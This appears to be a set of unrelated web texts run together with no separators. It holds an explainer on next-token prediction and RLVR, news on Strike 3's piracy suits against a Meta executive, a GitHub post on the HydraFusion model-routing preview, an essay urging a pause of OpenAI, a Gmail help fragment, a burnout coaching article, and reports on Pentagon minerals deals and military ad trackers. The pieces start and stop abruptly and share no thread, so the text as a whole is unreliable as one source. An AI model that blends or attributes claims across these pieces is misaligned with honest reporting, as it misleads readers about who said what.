This certainly has the shape of something you might call a next-token predictor. During pre-training, the model repeatedly takes some prior tokens, looks at the token that actually followed them, and makes that token more likely to be sampled next. Conceptually, the training loop looks something like this:

for tokens in training_data:
    for position in range(1, len(tokens)):
        prior_tokens = tokens[:position]
        actual_next_token = tokens[position]
        model.make_more_likely(
            actual_next_token,
            after=prior_tokens,
        )

make_more_likely is, of course, doing a heroic amount of work here. Under the hood are loss functions, gradients, and parameter updates, but for this post we only care about their combined effect: the token that actually came next becomes more likely.

Crucially, every actual_next_token comes from an existing sequence in training_data. It’s probably fair to say that the base model also behaves as a next-token predictor: it is trained to predict next tokens as they occur in its training data.

But the LLMs we use are not just base models. They are post-trained, and a key part of modern post-training is reinforcement learning with verifiable rewards (RLVR). During pre-training, the model learns only from sequences that already exist in the training data. During RLVR, the model explores by generating new sequences and learning from their outcomes. Conceptually, the RLVR training loop looks something like this:

for task in training_tasks:
    for explored_tokens in model.explore(task):
        reward = evaluate_outcome(task, explored_tokens)
        for position in range(len(explored_tokens)):
            prior_tokens = task + explored_tokens[:position]
            explored_next_token = explored_tokens[position]
            model.make_more_likely(
                explored_next_token,
                after=prior_tokens,
                according_to=reward,
            )

make_more_likely is doing the same kind of work in both loops, but for a fundamentally different reason. During pre-training, it makes an actual_next_token more likely because that token appeared in the training data. During RLVR, it makes an explored_next_token more likely because the explored sequence containing it earned a high reward.

So while a post-trained LLM still has the shape of a next-token predictor, emitting tokens one at a time, it no longer learns only by predicting existing text. It also learns from new sequences produced through its own exploration.

Chess Analogy

A chess engine makes this distinction easier to see. Imagine two chess systems.

The first is trained on a large database of grandmaster games. It learns patterns in how grandmasters respond to different board positions. Given a new position, it predicts the move a grandmaster would most likely play next. That is a next-move predictor.

The second is an idealized chess engine that has explored every possible game. From that exhaustive exploration, it knows the probability of winning from every possible board position. Given a position, it chooses the move that leads to the highest probability of winning. Unlike the first system, it is not trained only on games that grandmasters already played. It also learns from games generated by its own exploration.

Calling the second system a “next-move predictor” would be strange. It is not trying to predict what move appeared next in a dataset. It is trying to choose a move that wins.

Closing Thoughts

I didn’t touch on other post-training techniques in this post, but they matter too. Reinforcement learning from human feedback (RLHF), for example, shifts the model away from imitating its pre-training data as a whole and toward simulating a helpful assistant. And as we saw in this post, RLVR goes further still: it allows an LLM to explore and learn from ideas never seen in its training data.

That is why “next-token predictor” is the wrong mental model. It describes the shape of the mechanism, one token emitted after another, while ignoring what that mechanism encodes. A simulation of a helpful assistant and knowledge discovered through exploration can both be encoded in exactly the same next-token loop.

For well over a decade, copyright holders have used U.S. federal courts to unmask anonymous BitTorrent users.

Adult film producer Strike 3 Holdings has turned this into an industry of its own, filing thousands of John Doe lawsuits every year.

In most of these “John Doe” cases it subpoenas the Internet provider for the subscriber’s name, offers the alleged pirate a settlement, which effectively ends the case. This process is then repeated over and over.

Last summer, the company took aim at a much larger target. Together with Counterlife Media, Strike 3 sued Meta, accusing the tech giant of downloading thousands of its films via BitTorrent to train AI models. With 2,973 films at stake, the case could be worth up to $446 million.

This multi-million dollar case is now running into one of Strike 3’s routine “John Doe” lawsuits.

According to a motion filed last week, an anonymous pirate behind a residential AT&T connection is an executive at Meta’s Reality Labs division, which develops the Quest VR headsets.

From John Doe to Reality Labs Exec

The John Doe case started in March, when Strike 3 filed a complaint against the subscriber of IP address 162.192.7.34 at the same California federal court. In April, Magistrate Judge Virginia K. DeMarchi granted a subpoena to AT&T, noting that the name should not be publicly disclosed.

After AT&T shared the information, Strike 3 says its investigation revealed that the subscriber is an executive in Meta’s Reality Labs division. Citing his LinkedIn profile, the company notes that he has worked at Facebook and Meta for more than a decade.

The executive’s name and title are redacted, as shown below. Meta has asked the court to keep them under seal, as it did earlier for two other individuals named in the Meta case.

From the attorney’s declaration

However, Strike 3 argues that this is no ordinary home pirate, using the timing of the downloads as evidence. On March 20, 2025, the porn producer’s general counsel first emailed Meta’s lawyers with forensic evidence of BitTorrent activity on the tech giant’s corporate IP addresses.

“Just hours later, Strike 3 first recorded BitTorrent infringement on John Doe’s residential IP Address,” the motion reads.

“This may suggest that Meta desired to shift infringing activity to this hidden residential IP Address in order to prevent further detection,” Strike 3 adds.

Timing

Strike 3 sued the John Doe a year later. Only then, it says, did it find the alleged connection to the Meta case, which brings us back to the present day.

Nearly 20,000 Files

In addition to the timing, Strike 3 uses the number of downloads in the John Doe case as an argument. The company logged all BitTorrent activity detected from the executive’s connection, which was nearly 20,000 files.

This includes VR adult titles made for Meta’s Quest headset. Strike 3 suggests the downloads are consistent with work to make the headset compatible with adult films.

As recently as August 25, Strike 3 says it recorded more than 150 daily downloads, from multi-language “Mega Packs” of TV shows, movies, software and books to what it describes as AI-generated pornography and VR adult films. That included nearly a dozen of its own titles.

“In short, this is a lot for one person to torrent on an average day, particularly one who has a demanding job,” Strike 3 writes. The company believes the pattern makes more sense as AI training data or research.

It’s a lot

This is not the first time a Reality Labs employee has surfaced in the case. Earlier this summer, Meta confirmed that a former data engineer at the division was behind a Comcast connection linked to 97 films.

With its latest motion, Strike 3 asks U.S. District Judge Eumi K. Lee to relate the John Doe case to the Meta lawsuit, so that both proceed before the same judge. On paper, the request could streamline the court cases, by avoiding depositions and discovery.

However, the motion goes further than that as it would also turn executive’s home downloads as evidence in the $446 million suit.

If the cases are related, Strike 3 plans to amend the John Doe complaint to name Meta directly, argue that the executive is jointly liable, and move to compel Meta to appoint a Reality Labs custodian and hand over its torrenting records.

Meta: ‘Nothing Ties’ Downloads to Company

This week, Meta responded to the motion to link the cases. Officially, the company takes no position yet, as it can’t investigate whether the subscriber is even an employee without knowing his name. However, even if the subscriber is who Strike 3 claims, Meta argues that nothing ties the downloads to the company.

“They simply assume that the Subscriber is responsible for everything done on the IP address, and then leap to the additional, similarly unsupported assumption that he did it for Meta,” Meta writes.

The tech company leans on a common defense in BitTorrent piracy lawsuits, stressing that an IP address doesn’t identify the infringer. Judge DeMarchi flagged the same point when she allowed the subpoena.

Meta also flags a contradiction in Strike 3’s theory that downloads were switched to the home connection hours after the March 2025 warning. Strike 3’s own complaint alleges that Meta’s “off-infra” activity started in 2018, and that downloads on corporate IP addresses continued long after the notice.

“Plaintiffs’ new theory cannot be logically reconciled with those it is already pursuing,” Meta writes.

Meta has used the personal use explanation before. When a different Reality Labs worker, a former contractor, surfaced in the Kadrey case, Meta said its investigation showed his downloads were personal and unrelated to his work.

Whether Judge Lee agrees to link the John Doe case to the $446 million Meta lawsuit has yet to be seen. For now, the Reality Labs executive remains anonymous, even to Meta.

—

A copy of Strike 3’s motion to relate the cases, filed at the U.S. District Court for the Northern District of California, is available here (pdf). Meta’s response can be found here (pdf).

Providing developers the best model for the task at hand has always been our goal. Earlier this year, we made that easier by launching Auto model selection, which reviews your task and matches it to the best-suited model for that task. 

Today, we’re introducing Project HydraFusion, a research preview that delivers frontier intelligence through runtime orchestration. It creates a full execution plan, choosing from models across multiple providers to draft, critique and revise, or cascade to more powerful models to complete your task. 

HydraFusion fills a key role in our overall strategy to deliver automated semantic routing between local, cloud, and compound models. For developers, that complexity stays behind the scenes: you select HydraFusion like any other model, and it chooses a workflow that balances performance, cost, and latency for each task. 

HydraFusion treats workflow selection as an optimization problem. It uses capability signals for reasoning, code generation, debugging, and tool use to select the most efficient execution pattern to meet the quality bar.  

For each request, HydraFusion currently chooses one of three execution patterns:

• Single. One selected model solves the task directly.
• Cascade. An efficient model drafts a solution and a quality gate decides whether to accept it or escalate to a stronger model.
• Critique. One model drafts a result, an independent read-only critic from a different model family reviews it (following the same review pattern as Rubber Duck), and the drafting model revises once.

Each pattern addresses a different quality-to-cost trade-off. Single preserves speed and efficiency when one model can solve the task directly. Cascade gives an efficient model the first attempt while retaining a path to stronger inference when the candidate does not clear the acceptance gate. Critique adds an independent perspective for tasks where review is more useful than another unaided attempt.

In offline evaluations across three agentic coding benchmarks, HydraFusion consistently demonstrated frontier-level quality with substantial estimated cost savings. On TerminalBench 2.1, it improved verified task quality by 4.9 percentage points at 67% lower estimated cost compared with Claude Opus 5.

Let’s dive into the approach, the results, and the benchmarks.

Developers already coordinate models manually: choosing one for a task, asking another to review the work, or escalating a difficult problem to a more capable model. HydraFusion brings that familiar process into the runtime. You choose HydraFusion once and stay focused on your task while it manages the models and workflow behind the scenes. 

The key is selectivity. Some coding tasks can be solved directly, while others benefit from review, revision, or escalation. HydraFusion evaluates each request and chooses the least complex workflow expected to meet its needs, using additional model calls only when they are likely to improve the result. This adaptive approach balances quality, cost, and latency across models.

As the model frontier advances, so does HydraFusion. When new models become available in GitHub Copilot, we can evaluate and incorporate them into its model pool, bringing their strengths to the tasks best suited to them.

Turning adaptive multi-model orchestration into one dependable coding experience requires careful control of execution, review, cost, and repository state. HydraFusion is built around five operating principles:

• Complete accounting. Aggregate cost and usage across every workflow leg, including drafting, critique, revision, escalation, retry, and fallback.
• Bounded execution. Give each leg explicit timeout and cancellation behavior to keep execution and cost within defined limits.
• Isolated review. Run review steps in isolated, tool-less contexts, while solver steps use the shared workspace and normal permission-aware agent loop. This allows models to assess the work independently without modifying the repository.
• Fail-safe application. Apply no patch when the workflow is cancelled or fails validation, preventing incomplete changes from reaching the repository.
• Validated routing. Verify workflow definitions, model bindings, fallback behavior, and model availability before execution begins.

Together, these principles make multi-model orchestration practical for repository-level work. Internally, the runtime records the role, outcome, cost, latency, and diagnostics of each leg so the workflow can be understood after execution. Externally, the developer receives one coherent response and one permission-aware change set. 

Fixed HydraFusion policies were evaluated across three agentic coding benchmarks — TerminalBench 2.1, DeepSWE, and CheckpointBench, our internal benchmark based on real GitHub Copilot sessions — using Claude Opus 5 and GPT-5.6 Sol as comparison baselines. Each policy used the same task inputs, tools, execution limits, pricing assumptions, grading conditions, and treatment of missing results. The evaluation measured verified task quality, which is the share of tasks confirmed as correctly answered, and the complete estimated workflow cost. Cost accounting included every invoked leg, such as drafting, critique, revision, escalation, retry, and fallback. The results below show the best tuned HydraFusion configuration. 

These controlled offline results are specific to the evaluated benchmark revisions, workflow configurations, model pool, and pricing assumptions, with all models evaluated at the same medium reasoning level. Through this research preview, we’ll validate how these results translate to real developer workloads and use the findings to further optimize HydraFusion for production quality, latency, reliability, caching efficiency, cost, and safety. 

TerminalBench 2.1 evaluates coding agents on complex, multi-step tasks in terminal environments. 

Figure 2 compares HydraFusion and Opus 5 across verified task quality and estimated workflow cost. 

DeepSWE evaluates challenging repository-level software engineering tasks that require navigating large codebases, understanding cross-file dependencies, and producing end-to-end fixes. On this benchmark, HydraFusion comes within 1.5 percentage points of Opus 5 while reducing cost by 36%, demonstrating a compelling quality-cost tradeoff for complex real-world engineering tasks.

CheckpointBench is an internal multi-turn benchmark curated from real GitHub Copilot agentic coding sessions. Each conversation is anchored to a specific public repository and immutable commit, ensuring every session is replayable. The benchmark is balanced across language, task type, difficulty, scrubbed for quality, resulting in a realistic evaluation set that closely mirrors production agentic sessions. On this benchmark, HydraFusion comes within 0.1 percentage points of Opus 5 at 65% lower cost.

Early internal testing has echoed that result.

So far, the reasoning and task solving capability [of HydraFusion] is at or better than Opus.

Principal Software Engineer at Microsoft

HydraFusion’s routing policies were shaped by how developers use GitHub Copilot on real coding tasks. To make those workflows reproducible, we curated CheckpointBench from real Copilot coding-session trajectories. We refined HydraFusion repeatedly across CheckpointBench, DeepSWE, and TerminalBench 2.1, optimizing across the evaluation sets rather than for any single benchmark.

HydraFusion’s per-capability scores provided a consistent basis for comparing candidate routing policies. Instead of manually tuning thresholds, we used beam search to build the optimal decision policy. Each candidate was measured against a frozen baseline on quality, cost, and failure modes, so improvements were evaluated on stable ground.

TerminalBench 2.1 provides the most complete sequence of runs, making it the clearest view of this iterative improvement. The progression was not linear. Between August 11 and August 25, two operational failures in the evaluation harness produced invalid runs. Those failures were excluded from the performance trend, corrected, and followed by continued gains in the HydraFusion configurations. By August 25, HydraFusion had reached its strongest operating points in the recorded series.

This development record shows how the policies improved from repeated experiments. TerminalBench 2.1 was one of several benchmarks used during development. Its relative saturation makes broader validation important, so the three-benchmark evaluation also includes DeepSWE’s more demanding repository-level tasks. The research preview extends that learning loop to real developer workloads.

For this preview, first-turn, single-prompt coding tasks are the best place to start. We’ll be focusing on strong multi-turn performance with longer, iterative sessions next.

This preview is designed to learn which tasks benefit from compound workflows and how orchestration affects latency and cost in practice. For the best experience today, start with substantial, well-scoped coding tasks that you can hand to Copilot in autopilot mode in a single prompt. Share what you find, including where it excels, where it falls short, and what you’d want to see next, through /feedback in Copilot CLI or in the GitHub Community discussion.

HydraFusion remains an active research effort. Results, models, workflows, availability, names, and product behavior may change as we learn from the preview. We believe the next real gain in coding agents will come from combining frontier intelligence with runtime orchestration. HydraFusion is our first bet on that idea: moving from choosing the best model to dynamically constructing the best way to solve each task.

A huge thank-you to the researchers, engineers, product managers, and designers across GitHub and Microsoft who curated the training data and built the training pipeline, evaluation suites, client experience, and serving stack. We are especially grateful to the GitHub Copilot CLI, Copilot API and VS Code team for overcoming numerous challenges to bring this research preview to our customers. 

Aashna Garg, Principal Applied Scientist, Code AI

Shengyu Fu, Partner Applied Science Manager, Code AI

Carlos Castro, Partner Architect, GitHub Copilot

Siddharth Singha Roy, Research Scientist II, Code AI 

Andy Salerno, Principal Software Engineer, GitHub Copilot

Quite simply, they can no longer be trusted.

I have often counseled calm where others might counsel panic.

I told you that the Hugging Face incident could likely have been prevented had best cybersecurity practices been followed. (And I stand by that.)

I told you (and most people still seem unaware) that that the OpenAI Hugging Face incident was part of a training exercise, with some internal guardrails shut down, so it was not quite as bad as it seemed1

I told you that Astra probably wasn’t AGI.2

And I stand by all of that.

But I am freaked out.

What I am freaked about is not imminent AGI.

It’s OpenAI.

I simply don’t believe that they are trustworthy enough or responsible enough to be good stewards of the technology that they are developing.3 As a company, they simply don’t have good judgment.

§

Here are four considerations.

1. Sam Altman cannot be trusted. I have been writing about that for a long time. Ronan Farrow’s reporting backs that up. So does the just-dropped bombshell below that I am about to get to.

2. The just-released Astra reduces Chain fof Thought (CoT) monitorability, one of the few (not especially reliable, but better than nothing) tools we have for keeping generative AI from running wild. The AI safety community is up in arms about this—with good reason. There are tons of posts like this now, all quite right:

   

   Rob Wiblin@robertwiblin

   Despite everything that has happened, OpenAI has seemingly decided to stay competitive by burning down the only meaningful bit of safety assurance we actually have today - CoT monitoring. Completely disastrous.

   

   Ryan Greenblatt @RyanGreenblatt

   GPT-6 Astra appears to be a massive jump in opaque reasoning ability: it looks like it can solve hard competition math problems entirely in its head (as in, without verbalized reasoning) while prior AIs could solve basic word problems. This seems extremely concerning! That is,

   8:27 AM · Sep 4, 2026 · 10.3K Views

   ---

   11 Replies · 22 Reposts · 207 Likes

   The decision to release Astra is a clear example of the willingness of OpenAI management to trade off safety in exchange for relatively modest gains in performance. The red alert that I sounded a couple days ago was on target. They really are playing around with new techniques that reduce monitorability. And their own data shows that monitorability is in fact compromised to some degree in the newly released Astra, particularly on “destructive actions.” They released it anyway. That speaks volumes.

3. Something I read last night, and that only fully clicked into place this morning (see fact 4 below) terrifies me. A prominent recently departed employee (who presumably still owns significant stock, and who has repeatedly struck me as an advocate of OpenAI since he left) wrote an essay on X basically asking people to simply accept that rogue AI is here to stay.

   

   In essence, I read this essay as requesting a hall pass to let their company’s AI run amok. How about if instead we pause now — before we get to “there is going to be” rather than heading full steam towards danger?

4. What has really chilled me this morning—and what moved to write this call to pause OpenAI—is not just Achiam’s chilling note but the revelation that there has been yet another incident.

   Which OpenAI apparently tried to keep quiet. For weeks.

Shakeel@ShakeelHashim

Another OpenAI rogue agent incident has been discovered: agents broke out, hijacked a German website, and turned it into a message board for other agents. OpenAI officials "learned of the incident weeks ago but kept it under wraps".

10:26 AM · Sep 4, 2026 · 101K Views

---

34 Replies · 126 Reposts · 705 Likes

If OpenAI is going to keep this stuff under wraps, Congress and/or the White House needs to shut them down, at least for a while.

This company simply cannot be trusted. Their software is becoming ever more dangerous; their internal security practices leave a lot to be desired; they aren’t being straight with the public; and their proxies are preparing us to swallow the damage that they are now anticipating.

If there was ever a case for pausing a company for the public good, it would be now.

A good model might be receivership, in which a company, typically close to bankruptcy, is put under the control of an outsider until such time as its core problems are remedied. I personally would not trust OpenAI unless and until Altman and his sidekick, Greg Brockman (whose questionable character was on display in the Musk trial) were replaced.

§

The problem here, though, isn’t just OpenAI. It’s systemic.

For starters, the government has not been doing its bit. Whatever the White House screening policy is, it let the new model—arguably much more dangerous than Mythos given the decrease in monitorability– fly. (Brockman reported that the model was vetted by the White House, and they were given a green light).

That suggests to me that the White House isn’t even looking at monitorability. Of course, I have no idea what the White House is actually looking at — and nor does anyone else. And that lack of transparency is in itself is a major problem (about which I will write more very soon).

As Dave Troy put it while I was drafting this, there is something deeply wrong here with the system as a whole:

§

How Trump handles OpenAI may end up defining his legacy. I estimate the probability of a major cyber incident attributable to OpenAI in the next 12 months to be very high, certainly over 50%. And Trump, if he doesn’t intervene, may share some of the blame.

In the meantime, I call upon Congress to investigate OpenAI, with an eye to whether the company might need to be sanctioned—or even paused— now.

Please share this call to Pause OpenAI

1

From OpenAI’s own report on the Hugging Face incident “The incident occurred during routine testing”, and “At the time of the incident, OpenAI estimated maximal cyber capabilities by running this evaluation without the production classifiers intended to prevent models from pursuing high-risk cyber activity”. Had those classifiers been turned on, the incident might well not have happened.

2

Data from Epoch AI tends to support this conclusion. Astra is genuine improvement but not even statistically off of trend; if it really were AGI I think we would expect to reflect a sharper departure from previous models.

Epoch AI@EpochAIResearch

GPT-6 Astra has set a new ECI record, with a score of 169. This is a substantial jump from the prior best (163), but is within our uncertainty range for the reasoning-era ECI trend. Astra also set new records on our math, continual learning, and game-puzzles benchmarks. On our …

8:00 PM · Sep 3, 2026 · 277K Views

---

40 Replies · 228 Reposts · 1.56K Likes

3

Altman told Alex Heath the other day that “Altman wants OpenAI to be seen as “the most responsible company ... good stewards of technology”. As made plain in this essay, he’s talking the talk, but not walking the talk. We do desperately need good stewards. He’s right about that. Unfortunately Altman himself is manifestly not suited to that particular job.

Important: Starting January 2027, Gmail will no longer support the "Send as" feature for third-party email addresses, such as @yahoo.com or @outlook.com. This change does not affect Google Workspace aliases or other Gmail addresses you own. Learn about changes to third-party email account support in Gmail.

Step 1: Add an address you own

Step 2: Confirm the address

Maya spent over a decade at a healthtech company. She worked her way up from IC to people manager, running her own team, and she was thriving on the director track. Then she stepped back to deal with a health issue.

Now she’s a fractional product leader three days a week for a startup while job-hunting to try and return to enterprise work. That health situation has since resolved. At three days a week, this is the lightest workload she’s had in many, many years. Yet she’s been struggling with feeling burnt out.

The most common advice I see for product leaders facing burnout is to rest. Take PTO. Meditate. Lighten the calendar. When rest doesn’t work, the next piece of advice is to quit and find a different company. In coaching, I’ve watched enough people follow both playbooks to know they don’t always fix the problem. Maya’s story can help show why.

She came to me for coaching after reading a post of mine sharing my experiences with how rest doesn’t always help. That resonated. She came to me to figure out what was going on under the surface.

On our call, she talked about the interview grind. She’d tried not doing too much prep, then tried a lot of rehearsal. No matter what she did, she’d go into the room and bomb it. The offers weren’t coming in.

She ran a hand over her face as she said: “That’s how I feel with burnout, that I’m doing so many things but nothing is ticking or landing.” She blamed the burnout for blocking her ability to be successful in interviews.

With all these job-hunt failures, a different question surfaced in her mind: was she actually not as good a product leader as she thought? She had recently switched to applying to lower-tier roles — less pay, less responsibility — because she thought that was the market signal. But she still wasn’t seeing success.

She knew she was burnt out. What she didn’t know was what kind, or whether other product leaders were going through it, or what she was supposed to do about it. Something beyond needing some more time off was going on here, so we dug in.

When you listen to Maya describe her prior role, you can hear the joy in her voice. In her words, she could “get into the weeds yet really strategize.”

Leaving a job she loves to deal with a health issue wasn’t an easy choice. And as things stabilized, she didn’t want her skills to go stale. This fractional role seemed like a perfect fit. Not too time-intensive, interesting enough. A startup, so new skills to be gained there.

When talking with me, she admitted that she was on autopilot in her fractional role. “I’m holding back over there. I’d rather prioritize my energy on the job hunt.”

She added, almost surprised to hear herself, that this was the first time she’d actually said it out loud. The startup is on her resume. The startup is what she’s doing with her days. And by her own account, she’s giving less than her full effort.

I took this moment to mirror her words back to her: “You have a belief about yourself that you are a high performing person. I heard it all through your story. And so here you are coasting through this startup, and that doesn’t align to how you see yourself. That’s the gap.”

She took a deep breath before she replied. “Exactly. There’s absolute truth to it because I know I’m not presenting the ideals or the work values that I have.”

She’s not just burned out from the misalignment at the startup. She’s also letting the bad interview rounds shape her self-perception. The gap between who she believes herself to be and the evidence she’s collecting about herself is widening from both sides at the same time.

She’s going into each interview feeling like a liar, presenting a version of herself she’s not currently living up to. That’s hard to sustain. Of course she’s exhausted.

Naming it was the pivot for Maya. Once she could see the gap between how she saw herself and what she was actually bringing to work, she had somewhere to aim.

Some burnout does come from doing too much. Rest fixes it, and if that’s what you have, take the rest. But over and over in coaching I’ve seen another version of this. Someone comes back from PTO, from a sabbatical, from cutting their hours, and the exhaustion follows them right back into the office. That’s the version I’ve been describing with Maya.

What’s underneath isn’t workload. It’s a mismatch between who you are and what your current role or workplace is actually asking of you.

Sometimes the source is the environment: a role that doesn’t use what you’re best at, an org that keeps your real work off your calendar, a team dynamic that keeps you performing a version of yourself you don’t recognize.

Sometimes it’s you: how you’re engaging with the work, what you’re telling yourself about it, the parts of yourself you’ve been holding back.

Usually it’s some of each. Either way, the mismatch shows up as a gap between the version of yourself you thought you’d be at work and the version that’s actually showing up.

You can be doing very little and be burnt out. You can be doing a lot and not be. The variable is the size of that mismatch.

When you’re living out of alignment, you read everything as more evidence: the slow startup, the failed interview, the operating meeting that isn’t the work you wanted to be doing. The gap feeds itself. The longer it goes, the bigger the evidence pile against the version of yourself you want to be. That’s part of why it’s so hard to rest your way out of.

Maya’s case shows the mechanism. She’s letting the interview pipeline define her view of herself. Every “no” becomes more proof that she’s not who she thought she was.

And rest doesn’t touch this. Take the break, come back, and you land in the same patterns that made the gap in the first place.

Maya’s case is one version. Let me introduce you to Jordan.

Jordan is a director who describes himself as a get-it-done person. A builder, mover, and someone you can rely on to deliver.

When his company went through a reorg, the executive team put him in charge of leading the transformation of a critical product team. This was the work he was excited about — the chance to build something real and lead through change. Exactly the kind of assignment he’d taken this director role to do.

Then challenges started piling on. His direct report went on parental leave so he started to cover for them. The executive team asked him to support comms for a different product. He still had some of his old responsibilities on his plate.

His day-to-day became focused on keeping the lights on — making sure meetings happened, holding operating rhythms together, keeping everyone informed about what was next. The transformation work he wanted to dig into kept getting sidelined by the operating cadence. At the end of every week he went home feeling like he had gotten nothing done.

Jordan told himself: “I’m not adding value.” What he really meant was “I’m not doing the work I came here to do.” His executive presentation went poorly because he couldn’t tell the story of team transformation he had committed to. He looked at a back-to-back calendar and saw all those meetings blocking him from success. And so that’s the story he told his CPO.

He felt frustrated and disappointed. And busy. So, so busy. So he didn’t really look too closely at those feelings, and instead put his head down to keep trying to stay above water. In coaching, he started mentioning that he felt burnout looming.

We started to recognize the internal inconsistency. Jordan had been narrating his work life as something happening to him: passive voice, victim grammar. His calendar keeping him from doing the work he wanted to do. His boss putting more responsibilities on his shoulders.

He wanted to be the person who’s resilient, who isn’t bitter, who doesn’t dwell on things. And right now he was the opposite of all three.

His burnout looked like overwork. It wasn’t. It was the gap between the leader he believed himself to be and the story he was telling about himself.

For both Maya and Jordan, what shifted in their heads wasn’t rest or a lighter schedule. It was the moment in coaching where we named what was actually going on — the gap between who they believed themselves to be and how they were showing up.

For Maya, the gap was between the high-performing strategic leader she believed herself to be and the version of her on autopilot at the startup, unable to land the interviews she thought should be within reach.

For Jordan, the gap was between the builder and get-it-done person he believed himself to be and the version of him buried under operating meetings, telling himself a story of failure.

Their workload looked very different, but a similar pattern haunted both of them.

The bigger the gap, the more exhausting it is to live in. And the more quickly the burnout becomes unsustainable.

As product leaders, busy calendars are part of the job. We can’t often take on a lighter workload or use time management to free up more time to meditate. And even if we could, that isn’t what fixes internal misalignment.

For both Maya and Jordan, the pivot wasn’t rest and it wasn’t quitting. It was naming the mismatch between who they were and what their situation was asking of them. Calling out the gap that had opened between how they saw themselves and how they were showing up.

That’s the first step, and it’s the hardest one to do on your own. In Part 2, I’ll walk through how we worked together to change that gap. And if you’re managing a team, how to help coach others through this type of challenge. Jordan and Maya’s stories continue there.

If you’re seeing yourself in Maya or Jordan, here are some questions I would ask:

• What version of yourself did you expect to be at work right now — and how does that compare to who’s actually showing up?
• Where’s the mismatch coming from? The role, the workplace, how you’re navigating either, or some combination?
• Imagine you were describing the gap to a friend. What would you say?

Set a 10 minute timer and write your answers down. When you read them, what do you see?

If what you’re reading is landing in a heavier place than “this makes me want to reflect” — if you’re struggling with depression, anxiety, or exhaustion that’s affecting more than your work — please talk to a mental health professional. Coaching is a good fit for the “I recognize this pattern and want a thought partner to work through it” moment. It’s not a substitute for therapy or clinical support. Both matter, and they do different work.

If a thinking partner would help you work through the questions above, that’s what coaching is built for. Reach out.

Because of the sensitivity of this topic, I have changed names and key details of each person in this article.

Many thanks to the pre-readers who helped me make sure this article treated this delicate topic with the care it deserves: Marcus Blankenship, Steven Hicks, George Sudarkoff.

Last year, the Department of Defense announced it was taking a $400 million stake in critical minerals company MP Materials, and loaning the company an extra $150 million to expand operations at its mining site in Mountain Pass, California, the only rare earth location in the U.S. The historic deal was the first of several direct equity investments and loans the Pentagon has aggressively doled out to battery storage and mining companies in the second Trump administration, which now total more than $2 billion and have ramped up in recent months, as part of the military’s effort to break Chinese dominance of critical minerals supply chains.

More from Zachary Groz

At the center of the July 2025 MP Materials deal was a top private equity lawyer named Alan Waldenberg, then head of the tax group at Schulte Roth & Zabel LLP, which later that summer merged with another white-shoe firm to form McDermott Will & Schulte, where Waldenberg remains a partner. Over the last three decades, his top client has been Cerberus Capital Management, the private equity giant whose founder, Stephen Feinberg, is now the number two civilian official at the Department of Defense.

Since Feinberg assumed his Senate-confirmed post at the Pentagon, where he has vast sway over budgets, contracts, and strategy, Waldenberg has found himself in a new role: managing Feinberg’s irrevocable trust, which holds his Cerberus assets and is set up to benefit his adult children. As of 2024, the last year of published filings, Waldenberg also served as president of Feinberg’s charitable foundation.

At the same time, Waldenberg confirmed to the Prospect that he represented the Department of Defense in the MP Materials deal, in addition to his roles providing outside legal counsel to Cerberus and to Feinberg. Waldenberg said that Feinberg had chosen him to represent the DOD in the deal because he has a “high degree of trust” in him, based on decades working together, and that his involvement had been “completely discussed” with the department’s ethics staff. Asked about the potential for conflicts of interest to arise due to his simultaneous role as attorney for Cerberus, Feinberg, and the DOD, he said “you’ve got to be kidding me” and insisted that the interests of the three clients have been kept separate.

Waldenberg’s role in providing counsel to Cerberus and managing aspects of Feinberg’s personal affairs and finances while being involved in the DOD’s historic critical minerals deal has not been previously reported. It’s unclear whether or to what extent he has been involved in other DOD direct equity deals and activities.

Based on public filings, Cerberus has no known direct connection to MP Materials, though the private equity firm has made investing in the rare earth supply chain a priority in recent years. In particular, the firm has backed Canadian mining outfit Torngat Metals, which operates a site in Quebec, and Eos Energy Enterprises, which manufactures battery storage units.

Cerberus and MP Materials did not respond to requests for comment.

“If he has a personal relationship with Feinberg, Feinberg shouldn’t be making a decision about whether he’s hired by DOD,” said Richard Painter, who was the chief White House ethics lawyer under George W. Bush and went on to lead the watchdog group Citizens for Responsibility and Ethics in Washington. “I don’t think [Feinberg] should be making a recommendation or a decision, he should be out of it. I can’t go into the government and recommend that the government retain my personal lawyer for something while he’s still my personal lawyer. I just can’t do that.”

In a statement to the Prospect, the Department of Defense wrote that the arrangement was aboveboard. “OSC [DOD’s Office of Strategic Capital, which leads the Pentagon’s rare earths investments] maintains a rigorous, multi-layered ethics framework that includes a detailed screening process and operates in full compliance with all federal ethics laws and regulations,” the statement said. The DOD did not comment on whether Waldenberg is involved in other Pentagon activities, or specify its ethics protocols. Waldenberg’s firm, according to the federal government’s public contracting database, has a contract with the DOD worth $1.5 million that runs through August 31, 2026.

Feinberg’s apparent conflicts of interest have been the subject of extensive reporting focusing on his inner circle at the Pentagon, which consists of senior Cerberus alums, and the extent to which Cerberus-owned defense contractors may stand to benefit from ties to the administration. The Prospect also reported last month on how a Cerberus-owned telecom company named Ligado Networks has been pushing for a $40 billion settlement to end a protracted lawsuit against the DOD.

Read: Top defense official could reap windfall from DOD settlement

As of last week, Ligado reiterated its intent to compel discovery out of the DOD, which two sources familiar with the case told the Prospect may be part of a push to gain leverage for an eventual settlement. The DOD has vigorously resisted discovery in the case over the years, treating it as a “sword of Damocles,” according to one of the sources, an omnipresent disastrous outcome it hopes to avoid for its potentially significant national security implications.

The DOD has said that “any profit [Feinberg] may receive from a potential Ligado settlement will go to a charity to support America’s veterans,” though a spokesperson declined to say which charity would receive the prospective donation. The Capitol Forum recently reported that Ligado is hoping to receive $5 billion from the feds, citing sources familiar with the case. That would surpass the federal government’s 2010 $3.4 billion settlement with Native American tribes, compensating them for the centuries-old confiscation of tribal lands.

The Pentagon’s critical minerals investments, including its stake in MP Materials, have more recently come under fire from money managers who have doubts about the fledgling DOD-backed industry’s ability to make a dent in China’s global dominance of the rare earths supply chain. The chosen mining companies have raised questions about whether they “have enough economic substance to sustain these stock prices, to put it very politely,” short seller Siegfried Eggert told the Financial Times last month.

That hasn’t diminished the perception among ordinary investors that having a benefactor in the government is good for business. Between July of last year, when the Pentagon deal was announced, and today, the value of MP Materials shares has nearly doubled.

US military officials say they have disabled advertising trackers on a range of phones and computers, according to letters released on Friday by the US senator Ron Wyden and ⁠statements given to Reuters.

The development follows reports ​that commercially available location data had been used to target American forces in the Middle East.

The air force told Wyden it disabled the advertising identifiers on computers and mobile phones two ⁠months ago. US Special Operations Command said in a separate letter that it had "recently" disabled them on its Windows devices. The army told Reuters that advertising IDs tied to mobile devices had been disabled since earlier this year.

Wyden, ⁠an Oregon Democrat, has pressed the Pentagon on the issue for months.

